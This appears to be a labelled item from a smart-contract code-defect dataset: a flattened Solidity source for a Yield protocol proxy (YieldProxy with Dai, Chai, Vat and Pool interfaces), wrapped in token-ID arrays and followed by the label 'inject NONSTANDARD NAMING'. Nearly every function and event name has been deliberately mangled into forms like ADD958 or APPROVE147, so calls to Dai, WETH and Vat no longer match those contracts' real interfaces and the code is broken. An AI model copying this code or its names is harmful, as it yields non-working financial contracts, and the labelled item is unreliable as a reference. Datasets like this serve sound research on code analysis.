[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 95, 203, 565, 1450, 14060, 654, 39, 3462, 10784, 429, 364, 467, 654, 39, 3462, 10784, 429, 31, 203, 203, 565, 2254, 5034, 2713, 5381, 3331, 67, 6589, 4684, 273, 576, 31, 203, 565, 1731, 2713, 5381, 29203, 1085, 273, 618, 12, 1684, 22, 1919, 16329, 3886, 2934, 17169, 1085, 31, 203, 203, 565, 2120, 4464, 60, 12003, 1733, 1071, 3849, 13958, 978, 12003, 1733, 31, 203, 203, 565, 871, 1139, 1345, 6119, 12, 11890, 5034, 9229, 548, 16, 1758, 1026, 1345, 16, 1758, 619, 1345, 1769, 203, 565, 871, 4019, 538, 305, 12, 203, 3639, 2254, 5034, 9229, 548, 16, 203, 3639, 2254, 5034, 1026, 1345, 6275, 16, 203, 3639, 2254, 5034, 619, 1345, 6275, 16, 203, 3639, 2254, 5034, 1658, 292, 975, 9716, 16, 203, 3639, 1758, 5793, 203, 565, 11272, 203, 565, 871, 3423, 9446, 12, 203, 3639, 2254, 5034, 9229, 548, 16, 203, 3639, 2254, 5034, 1026, 1345, 6275, 16, 203, 3639, 2254, 5034, 619, 1345, 6275, 16, 203, 3639, 1758, 5793, 203, 565, 11272, 203, 565, 871, 5782, 281, 8872, 12, 11890, 5034, 9229, 548, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 445, 1001, 50, 4464, 60, 15059, 510, 6159, 67, 2738, 12, 2867, 389, 82, 74, 978, 12003, 1733, 13, 203, 3639, 3903, 203, 3639, 5024, 203, 3639, 3849, 203, 3639, 12562, 203, 203, 203, 203, 565, 288, 203, 3639, 1001, 5460, 429, 67, 2738, 5621, 203, 3639, 13958, 978, 12003, 1733, 273, 2120, 4464, 60, 12003, 1733, 24899, 82, 74, 978, 12003, 1733, 1769, 203, 3639, 2 ]
// File: contracts/interfaces/IDelegable.sol pragma solidity ^0.6.10; interface IDelegable { function ADDDELEGATE653(address) external; //inject NONSTANDARD NAMING function ADDDELEGATEBYSIGNATURE882(address, address, uint, uint8, bytes32, bytes32) external; //inject NONSTANDARD NAMING } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; interface IERC20 { function TOTALSUPPLY521() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF833(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER582(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE506(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE147(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM451(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER75(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL533(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IVat.sol pragma solidity ^0.6.10; interface IVat { // function can(address, address) external view returns (uint); function HOPE952(address) external; //inject NONSTANDARD NAMING function NOPE303(address) external; //inject NONSTANDARD NAMING function LIVE610() external view returns (uint); //inject NONSTANDARD NAMING function ILKS57(bytes32) external view returns (uint, uint, uint, uint, uint); //inject NONSTANDARD NAMING function URNS490(bytes32, address) external view returns (uint, uint); //inject NONSTANDARD NAMING function GEM988(bytes32, address) external view returns (uint); //inject NONSTANDARD NAMING // function dai(address) external view returns (uint); function FROB42(bytes32, address, address, address, int, int) external; //inject NONSTANDARD NAMING function FORK314(bytes32, address, address, int, int) external; //inject NONSTANDARD NAMING function MOVE289(address, address, uint) external; //inject NONSTANDARD NAMING function FLUX433(bytes32, address, address, uint) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IWeth.sol pragma solidity ^0.6.10; interface IWeth { function DEPOSIT338() external payable; //inject NONSTANDARD NAMING function WITHDRAW817(uint) external; //inject NONSTANDARD NAMING function APPROVE147(address, uint) external returns (bool) ; //inject NONSTANDARD NAMING function TRANSFER582(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM451(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IGemJoin.sol pragma solidity ^0.6.10; interface IGemJoin { function RELY66(address usr) external; //inject NONSTANDARD NAMING function DENY577(address usr) external; //inject NONSTANDARD NAMING function CAGE307() external; //inject NONSTANDARD NAMING function JOIN369(address usr, uint WAD) external; //inject NONSTANDARD NAMING function EXIT932(address usr, uint WAD) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IDaiJoin.sol pragma solidity ^0.6.10; interface IDaiJoin { function RELY66(address usr) external; //inject NONSTANDARD NAMING function DENY577(address usr) external; //inject NONSTANDARD NAMING function CAGE307() external; //inject NONSTANDARD NAMING function JOIN369(address usr, uint WAD) external; //inject NONSTANDARD NAMING function EXIT932(address usr, uint WAD) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IPot.sol pragma solidity ^0.6.10; interface IPot { function CHI612() external view returns (uint256); //inject NONSTANDARD NAMING function PIE445(address) external view returns (uint256); // Not a function, but a public variable. //inject NONSTANDARD NAMING function RHO514() external returns (uint256); //inject NONSTANDARD NAMING function DRIP65() external returns (uint256); //inject NONSTANDARD NAMING function JOIN369(uint256) external; //inject NONSTANDARD NAMING function EXIT932(uint256) external; //inject NONSTANDARD NAMING } // File: contracts/interfaces/IChai.sol pragma solidity ^0.6.10; interface IChai { function BALANCEOF833(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER582(address dst, uint wad) external returns (bool); //inject NONSTANDARD NAMING function MOVE289(address src, address dst, uint wad) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM451(address src, address dst, uint wad) external returns (bool); //inject NONSTANDARD NAMING function APPROVE147(address usr, uint wad) external returns (bool); //inject NONSTANDARD NAMING function DAI858(address usr) external returns (uint wad); //inject NONSTANDARD NAMING function JOIN369(address dst, uint wad) external; //inject NONSTANDARD NAMING function EXIT932(address src, uint wad) external; //inject NONSTANDARD NAMING function DRAW289(address src, uint wad) external; //inject NONSTANDARD NAMING function PERMIT233(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING function NONCES538(address account) external view returns (uint256); //inject NONSTANDARD NAMING } // File: contracts/interfaces/ITreasury.sol pragma solidity ^0.6.10; interface ITreasury { function DEBT715() external view returns(uint256); //inject NONSTANDARD NAMING function SAVINGS903() external view returns(uint256); //inject NONSTANDARD NAMING function PUSHDAI613(address user, uint256 dai) external; //inject NONSTANDARD NAMING function PULLDAI166(address user, uint256 dai) external; //inject NONSTANDARD NAMING function PUSHCHAI91(address user, uint256 chai) external; //inject NONSTANDARD NAMING function PULLCHAI479(address user, uint256 chai) external; //inject NONSTANDARD NAMING function PUSHWETH634(address to, uint256 weth) external; //inject NONSTANDARD NAMING function PULLWETH548(address to, uint256 weth) external; //inject NONSTANDARD NAMING function SHUTDOWN178() external; //inject NONSTANDARD NAMING function LIVE610() external view returns(bool); //inject NONSTANDARD NAMING function VAT519() external view returns (IVat); //inject NONSTANDARD NAMING function WETH278() external view returns (IWeth); //inject NONSTANDARD NAMING function DAI858() external view returns (IERC20); //inject NONSTANDARD NAMING function DAIJOIN173() external view returns (IDaiJoin); //inject NONSTANDARD NAMING function WETHJOIN654() external view returns (IGemJoin); //inject NONSTANDARD NAMING function POT408() external view returns (IPot); //inject NONSTANDARD NAMING function CHAI326() external view returns (IChai); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IERC2612.sol // Code adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237/ pragma solidity ^0.6.0; interface IERC2612 { function PERMIT233(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING function NONCES538(address owner) external view returns (uint256); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IFYDai.sol pragma solidity ^0.6.10; interface IFYDai is IERC20, IERC2612 { function ISMATURE431() external view returns(bool); //inject NONSTANDARD NAMING function MATURITY388() external view returns(uint); //inject NONSTANDARD NAMING function CHI0242() external view returns(uint); //inject NONSTANDARD NAMING function RATE0398() external view returns(uint); //inject NONSTANDARD NAMING function CHIGROWTH747() external view returns(uint); //inject NONSTANDARD NAMING function RATEGROWTH408() external view returns(uint); //inject NONSTANDARD NAMING function MATURE589() external; //inject NONSTANDARD NAMING function UNLOCKED182() external view returns (uint); //inject NONSTANDARD NAMING function MINT176(address, uint) external; //inject NONSTANDARD NAMING function BURN250(address, uint) external; //inject NONSTANDARD NAMING function FLASHMINT22(uint, bytes calldata) external; //inject NONSTANDARD NAMING function REDEEM906(address, address, uint256) external returns (uint256); //inject NONSTANDARD NAMING // function transfer(address, uint) external returns (bool); // function transferFrom(address, address, uint) external returns (bool); // function approve(address, uint) external returns (bool); } // File: contracts/interfaces/IController.sol pragma solidity ^0.6.10; interface IController is IDelegable { function TREASURY445() external view returns (ITreasury); //inject NONSTANDARD NAMING function SERIES14(uint256) external view returns (IFYDai); //inject NONSTANDARD NAMING function SERIESITERATOR268(uint256) external view returns (uint256); //inject NONSTANDARD NAMING function TOTALSERIES702() external view returns (uint256); //inject NONSTANDARD NAMING function CONTAINSSERIES982(uint256) external view returns (bool); //inject NONSTANDARD NAMING function POSTED950(bytes32, address) external view returns (uint256); //inject NONSTANDARD NAMING function DEBTFYDAI447(bytes32, uint256, address) external view returns (uint256); //inject NONSTANDARD NAMING function DEBTDAI877(bytes32, uint256, address) external view returns (uint256); //inject NONSTANDARD NAMING function TOTALDEBTDAI51(bytes32, address) external view returns (uint256); //inject NONSTANDARD NAMING function ISCOLLATERALIZED839(bytes32, address) external view returns (bool); //inject NONSTANDARD NAMING function INDAI269(bytes32, uint256, uint256) external view returns (uint256); //inject NONSTANDARD NAMING function INFYDAI474(bytes32, uint256, uint256) external view returns (uint256); //inject NONSTANDARD NAMING function ERASE227(bytes32, address) external returns (uint256, uint256); //inject NONSTANDARD NAMING function SHUTDOWN178() external; //inject NONSTANDARD NAMING function POST95(bytes32, address, address, uint256) external; //inject NONSTANDARD NAMING function WITHDRAW817(bytes32, address, address, uint256) external; //inject NONSTANDARD NAMING function BORROW691(bytes32, uint256, address, address, uint256) external; //inject NONSTANDARD NAMING function REPAYFYDAI426(bytes32, uint256, address, address, uint256) external returns (uint256); //inject NONSTANDARD NAMING function REPAYDAI460(bytes32, uint256, address, address, uint256) external returns (uint256); //inject NONSTANDARD NAMING } // File: contracts/interfaces/IDai.sol pragma solidity ^0.6.10; interface IDai is IERC20 { function NONCES538(address user) external view returns (uint256); //inject NONSTANDARD NAMING function PERMIT233(address holder, address spender, uint256 nonce, uint256 expiry, //inject NONSTANDARD NAMING bool allowed, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/interfaces/IPool.sol pragma solidity ^0.6.10; interface IPool is IDelegable, IERC20, IERC2612 { function DAI858() external view returns(IERC20); //inject NONSTANDARD NAMING function FYDAI600() external view returns(IFYDai); //inject NONSTANDARD NAMING function GETDAIRESERVES173() external view returns(uint128); //inject NONSTANDARD NAMING function GETFYDAIRESERVES833() external view returns(uint128); //inject NONSTANDARD NAMING function SELLDAI400(address from, address to, uint128 daiIn) external returns(uint128); //inject NONSTANDARD NAMING function BUYDAI253(address from, address to, uint128 daiOut) external returns(uint128); //inject NONSTANDARD NAMING function SELLFYDAI226(address from, address to, uint128 fyDaiIn) external returns(uint128); //inject NONSTANDARD NAMING function BUYFYDAI675(address from, address to, uint128 fyDaiOut) external returns(uint128); //inject NONSTANDARD NAMING function SELLDAIPREVIEW300(uint128 daiIn) external view returns(uint128); //inject NONSTANDARD NAMING function BUYDAIPREVIEW913(uint128 daiOut) external view returns(uint128); //inject NONSTANDARD NAMING function SELLFYDAIPREVIEW69(uint128 fyDaiIn) external view returns(uint128); //inject NONSTANDARD NAMING function BUYFYDAIPREVIEW685(uint128 fyDaiOut) external view returns(uint128); //inject NONSTANDARD NAMING function MINT176(address from, address to, uint256 daiOffered) external returns (uint256); //inject NONSTANDARD NAMING function BURN250(address from, address to, uint256 tokensBurned) external returns (uint256, uint256); //inject NONSTANDARD NAMING } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; library SafeMath { function ADD958(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB494(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB494(a, b, "SafeMath: subtraction overflow"); } function SUB494(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL434(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV16(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV16(a, b, "SafeMath: division by zero"); } function DIV16(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD331(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD331(a, b, "SafeMath: modulo by zero"); } function MOD331(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } // File: contracts/helpers/DecimalMath.sol pragma solidity ^0.6.10; contract DecimalMath { using SafeMath for uint256; uint256 constant public unit17 = 1e27; //inject NONSTANDARD NAMING function MULD379(uint256 x, uint256 y) internal pure returns (uint256) { //inject NONSTANDARD NAMING return x.MUL434(y).DIV16(unit17); } function DIVD836(uint256 x, uint256 y) internal pure returns (uint256) { //inject NONSTANDARD NAMING return x.MUL434(unit17).DIV16(y); } function MULDRUP300(uint256 x, uint256 y) internal pure returns (uint256) //inject NONSTANDARD NAMING { uint256 z = x.MUL434(y); return z.MOD331(unit17) == 0 ? z.DIV16(unit17) : z.DIV16(unit17).ADD958(1); } function DIVDRUP370(uint256 x, uint256 y) internal pure returns (uint256) //inject NONSTANDARD NAMING { uint256 z = x.MUL434(unit17); return z.MOD331(y) == 0 ? z.DIV16(y) : z.DIV16(y).ADD958(1); } } // File: contracts/peripheral/YieldProxy.sol pragma solidity ^0.6.10; library SafeCast { function TOUINT128897(uint256 x) internal pure returns(uint128) { //inject NONSTANDARD NAMING require( x <= type(uint128).max, "YieldProxy: Cast overflow" ); return uint128(x); } function TOINT256710(uint256 x) internal pure returns(int256) { //inject NONSTANDARD NAMING require( x <= uint256(type(int256).max), "YieldProxy: Cast overflow" ); return int256(x); } } contract YieldProxy is DecimalMath { using SafeCast for uint256; IVat public vat; IWeth public weth; IDai public dai; IGemJoin public wethJoin; IDaiJoin public daiJoin; IChai public chai; IController public controller; ITreasury public treasury; IPool[] public pools; mapping (address => bool) public poolsMap; bytes32 public constant chai69 = "CHAI"; //inject NONSTANDARD NAMING bytes32 public constant weth148 = "ETH-A"; //inject NONSTANDARD NAMING bool constant public mty307 = true; //inject NONSTANDARD NAMING bool constant public ytm282 = false; //inject NONSTANDARD NAMING constructor(address controller_, IPool[] memory _pools) public { controller = IController(controller_); treasury = controller.TREASURY445(); weth = treasury.WETH278(); dai = IDai(address(treasury.DAI858())); chai = treasury.CHAI326(); daiJoin = treasury.DAIJOIN173(); wethJoin = treasury.WETHJOIN654(); vat = treasury.VAT519(); // for repaying debt dai.APPROVE147(address(treasury), uint(-1)); // for posting to the controller chai.APPROVE147(address(treasury), uint(-1)); weth.APPROVE147(address(treasury), uint(-1)); // for converting DAI to CHAI dai.APPROVE147(address(chai), uint(-1)); vat.HOPE952(address(daiJoin)); vat.HOPE952(address(wethJoin)); dai.APPROVE147(address(daiJoin), uint(-1)); weth.APPROVE147(address(wethJoin), uint(-1)); weth.APPROVE147(address(treasury), uint(-1)); // allow all the pools to pull FYDai/dai from us for LPing for (uint i = 0 ; i < _pools.length; i++) { dai.APPROVE147(address(_pools[i]), uint(-1)); _pools[i].FYDAI600().APPROVE147(address(_pools[i]), uint(-1)); poolsMap[address(_pools[i])]= true; } pools = _pools; } function UNPACK384(bytes memory signature) private pure returns (bytes32 r, bytes32 s, uint8 v) { //inject NONSTANDARD NAMING assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } function ONBOARD51(address from, bytes memory daiSignature, bytes memory controllerSig) external { //inject NONSTANDARD NAMING bytes32 r; bytes32 s; uint8 v; (r, s, v) = UNPACK384(daiSignature); dai.PERMIT233(from, address(this), dai.NONCES538(from), uint(-1), true, v, r, s); (r, s, v) = UNPACK384(controllerSig); controller.ADDDELEGATEBYSIGNATURE882(from, address(this), uint(-1), v, r, s); } function AUTHORIZEPOOL621(IPool pool, address from, bytes memory daiSig, bytes memory fyDaiSig, bytes memory poolSig) public { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); bytes32 r; bytes32 s; uint8 v; (r, s, v) = UNPACK384(daiSig); dai.PERMIT233(from, address(pool), dai.NONCES538(from), uint(-1), true, v, r, s); (r, s, v) = UNPACK384(fyDaiSig); pool.FYDAI600().PERMIT233(from, address(this), uint(-1), uint(-1), v, r, s); (r, s, v) = UNPACK384(poolSig); pool.ADDDELEGATEBYSIGNATURE882(from, address(this), uint(-1), v, r, s); } receive() external payable { } function POST95(address to) //inject NONSTANDARD NAMING public payable { weth.DEPOSIT338{ value: msg.value }(); controller.POST95(weth148, address(this), to, msg.value); } function WITHDRAW817(address payable to, uint256 amount) //inject NONSTANDARD NAMING public { controller.WITHDRAW817(weth148, msg.sender, address(this), amount); weth.WITHDRAW817(amount); to.transfer(amount); } function ADDLIQUIDITY157(IPool pool, uint256 daiUsed, uint256 maxFYDai) external returns (uint256) { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); require(fyDai.ISMATURE431() != true, "YieldProxy: Only before maturity"); require(dai.TRANSFERFROM451(msg.sender, address(this), daiUsed), "YieldProxy: Transfer Failed"); // calculate needed fyDai uint256 daiReserves = dai.BALANCEOF833(address(pool)); uint256 fyDaiReserves = fyDai.BALANCEOF833(address(pool)); uint256 daiToAdd = daiUsed.MUL434(daiReserves).DIV16(fyDaiReserves.ADD958(daiReserves)); uint256 daiToConvert = daiUsed.SUB494(daiToAdd); require( daiToConvert <= maxFYDai, "YieldProxy: maxFYDai exceeded" ); // 1 Dai == 1 fyDai // convert dai to chai and borrow needed fyDai chai.JOIN369(address(this), daiToConvert); // look at the balance of chai in dai to avoid rounding issues uint256 toBorrow = chai.DAI858(address(this)); controller.POST95(chai69, address(this), msg.sender, chai.BALANCEOF833(address(this))); controller.BORROW691(chai69, fyDai.MATURITY388(), msg.sender, address(this), toBorrow); // mint liquidity tokens return pool.MINT176(address(this), msg.sender, daiToAdd); } function REMOVELIQUIDITYEARLYDAIPOOL932(IPool pool, uint256 poolTokens, uint256 minimumDaiPrice, uint256 minimumFYDaiPrice) external { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); uint256 maturity = fyDai.MATURITY388(); (uint256 daiObtained, uint256 fyDaiObtained) = pool.BURN250(msg.sender, address(this), poolTokens); // Exchange Dai for fyDai to pay as much debt as possible uint256 fyDaiBought = pool.SELLDAI400(address(this), address(this), daiObtained.TOUINT128897()); require( fyDaiBought >= MULD379(daiObtained, minimumDaiPrice), "YieldProxy: minimumDaiPrice not reached" ); fyDaiObtained = fyDaiObtained.ADD958(fyDaiBought); uint256 fyDaiUsed; if (fyDaiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { fyDaiUsed = controller.REPAYFYDAI426(chai69, maturity, address(this), msg.sender, fyDaiObtained); } uint256 fyDaiRemaining = fyDaiObtained.SUB494(fyDaiUsed); if (fyDaiRemaining > 0) {// There is fyDai left, so exchange it for Dai to withdraw only Dai and Chai require( pool.SELLFYDAI226(address(this), address(this), uint128(fyDaiRemaining)) >= MULD379(fyDaiRemaining, minimumFYDaiPrice), "YieldProxy: minimumFYDaiPrice not reached" ); } WITHDRAWASSETS926(fyDai); } function REMOVELIQUIDITYEARLYDAIFIXED8(IPool pool, uint256 poolTokens, uint256 minimumFYDaiPrice) external { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); uint256 maturity = fyDai.MATURITY388(); (uint256 daiObtained, uint256 fyDaiObtained) = pool.BURN250(msg.sender, address(this), poolTokens); uint256 fyDaiUsed; if (fyDaiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { fyDaiUsed = controller.REPAYFYDAI426(chai69, maturity, address(this), msg.sender, fyDaiObtained); } uint256 fyDaiRemaining = fyDaiObtained.SUB494(fyDaiUsed); if (fyDaiRemaining == 0) { // We used all the fyDai, so probably there is debt left, so pay with Dai if (daiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { controller.REPAYDAI460(chai69, maturity, address(this), msg.sender, daiObtained); } } else { // Exchange remaining fyDai for Dai to withdraw only Dai and Chai require( pool.SELLFYDAI226(address(this), address(this), uint128(fyDaiRemaining)) >= MULD379(fyDaiRemaining, minimumFYDaiPrice), "YieldProxy: minimumFYDaiPrice not reached" ); } WITHDRAWASSETS926(fyDai); } function REMOVELIQUIDITYMATURE267(IPool pool, uint256 poolTokens) external { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); uint256 maturity = fyDai.MATURITY388(); (uint256 daiObtained, uint256 fyDaiObtained) = pool.BURN250(msg.sender, address(this), poolTokens); if (fyDaiObtained > 0) { daiObtained = daiObtained.ADD958(fyDai.REDEEM906(address(this), address(this), fyDaiObtained)); } // Repay debt if (daiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { controller.REPAYDAI460(chai69, maturity, address(this), msg.sender, daiObtained); } WITHDRAWASSETS926(fyDai); } function WITHDRAWASSETS926(IFYDai fyDai) internal { //inject NONSTANDARD NAMING if (controller.DEBTFYDAI447(chai69, fyDai.MATURITY388(), msg.sender) == 0) { controller.WITHDRAW817(chai69, msg.sender, address(this), controller.POSTED950(chai69, msg.sender)); chai.EXIT932(address(this), chai.BALANCEOF833(address(this))); } require(dai.TRANSFER582(msg.sender, dai.BALANCEOF833(address(this))), "YieldProxy: Dai Transfer Failed"); } function BORROWDAIFORMAXIMUMFYDAI736( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 maximumFYDai, uint256 daiToBorrow ) public returns (uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiToBorrow = pool.BUYDAIPREVIEW913(daiToBorrow.TOUINT128897()); require (fyDaiToBorrow <= maximumFYDai, "YieldProxy: Too much fyDai required"); // The collateral for this borrow needs to have been posted beforehand controller.BORROW691(collateral, maturity, msg.sender, address(this), fyDaiToBorrow); pool.BUYDAI253(address(this), to, daiToBorrow.TOUINT128897()); return fyDaiToBorrow; } function BORROWMINIMUMDAIFORFYDAI776( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 fyDaiToBorrow, uint256 minimumDaiToBorrow ) public returns (uint256) { ONLYKNOWNPOOL167(pool); // The collateral for this borrow needs to have been posted beforehand controller.BORROW691(collateral, maturity, msg.sender, address(this), fyDaiToBorrow); uint256 boughtDai = pool.SELLFYDAI226(address(this), to, fyDaiToBorrow.TOUINT128897()); require (boughtDai >= minimumDaiToBorrow, "YieldProxy: Not enough Dai obtained"); return boughtDai; } function REPAYFYDAIDEBTFORMAXIMUMDAI955( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 fyDaiRepayment, uint256 maximumRepaymentInDai ) public returns (uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiDebt = controller.DEBTFYDAI447(collateral, maturity, to); uint256 fyDaiToUse = fyDaiDebt < fyDaiRepayment ? fyDaiDebt : fyDaiRepayment; // Use no more fyDai than debt uint256 repaymentInDai = pool.BUYFYDAI675(msg.sender, address(this), fyDaiToUse.TOUINT128897()); require (repaymentInDai <= maximumRepaymentInDai, "YieldProxy: Too much Dai required"); controller.REPAYFYDAI426(collateral, maturity, address(this), to, fyDaiToUse); return repaymentInDai; } function REPAYMINIMUMFYDAIDEBTFORDAI862( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 minimumFYDaiRepayment, uint256 repaymentInDai ) public returns (uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiRepayment = pool.SELLDAIPREVIEW300(repaymentInDai.TOUINT128897()); uint256 fyDaiDebt = controller.DEBTFYDAI447(collateral, maturity, to); if(fyDaiRepayment <= fyDaiDebt) { // Sell no more Dai than needed to cancel all the debt pool.SELLDAI400(msg.sender, address(this), repaymentInDai.TOUINT128897()); } else { // If we have too much Dai, then don't sell it all and buy the exact amount of fyDai needed instead. pool.BUYFYDAI675(msg.sender, address(this), fyDaiDebt.TOUINT128897()); fyDaiRepayment = fyDaiDebt; } require (fyDaiRepayment >= minimumFYDaiRepayment, "YieldProxy: Not enough fyDai debt repaid"); controller.REPAYFYDAI426(collateral, maturity, address(this), to, fyDaiRepayment); return fyDaiRepayment; } function SELLDAI400(IPool pool, address to, uint128 daiIn, uint128 minFYDaiOut) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiOut = pool.SELLDAI400(msg.sender, to, daiIn); require( fyDaiOut >= minFYDaiOut, "YieldProxy: Limit not reached" ); return fyDaiOut; } function BUYDAI253(IPool pool, address to, uint128 daiOut, uint128 maxFYDaiIn) //inject NONSTANDARD NAMING public returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiIn = pool.BUYDAI253(msg.sender, to, daiOut); require( maxFYDaiIn >= fyDaiIn, "YieldProxy: Limit exceeded" ); return fyDaiIn; } function BUYDAIWITHSIGNATURE110(IPool pool, address to, uint128 daiOut, uint128 maxFYDaiIn, bytes memory signature) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); (bytes32 r, bytes32 s, uint8 v) = UNPACK384(signature); pool.FYDAI600().PERMIT233(msg.sender, address(pool), uint(-1), uint(-1), v, r, s); return BUYDAI253(pool, to, daiOut, maxFYDaiIn); } function SELLFYDAI226(IPool pool, address to, uint128 fyDaiIn, uint128 minDaiOut) //inject NONSTANDARD NAMING public returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 daiOut = pool.SELLFYDAI226(msg.sender, to, fyDaiIn); require( daiOut >= minDaiOut, "YieldProxy: Limit not reached" ); return daiOut; } function SELLFYDAIWITHSIGNATURE545(IPool pool, address to, uint128 fyDaiIn, uint128 minDaiOut, bytes memory signature) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); (bytes32 r, bytes32 s, uint8 v) = UNPACK384(signature); pool.FYDAI600().PERMIT233(msg.sender, address(pool), uint(-1), uint(-1), v, r, s); return SELLFYDAI226(pool, to, fyDaiIn, minDaiOut); } function BUYFYDAI675(IPool pool, address to, uint128 fyDaiOut, uint128 maxDaiIn) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 daiIn = pool.BUYFYDAI675(msg.sender, to, fyDaiOut); require( maxDaiIn >= daiIn, "YieldProxy: Limit exceeded" ); return daiIn; } function REPAYDAIWITHSIGNATURE818(bytes32 collateral, uint256 maturity, address to, uint256 daiAmount, bytes memory signature) //inject NONSTANDARD NAMING external returns(uint256) { (bytes32 r, bytes32 s, uint8 v) = UNPACK384(signature); dai.PERMIT233(msg.sender, address(treasury), dai.NONCES538(msg.sender), uint(-1), true, v, r, s); controller.REPAYDAI460(collateral, maturity, msg.sender, to, daiAmount); } function ONLYKNOWNPOOL167(IPool pool) private view { //inject NONSTANDARD NAMING require(poolsMap[address(pool)], "YieldProxy: Unknown pool"); } }
inject NONSTANDARD NAMING
function SUB494(uint256 a, uint256 b) internal pure returns (uint256) {
12,707,191
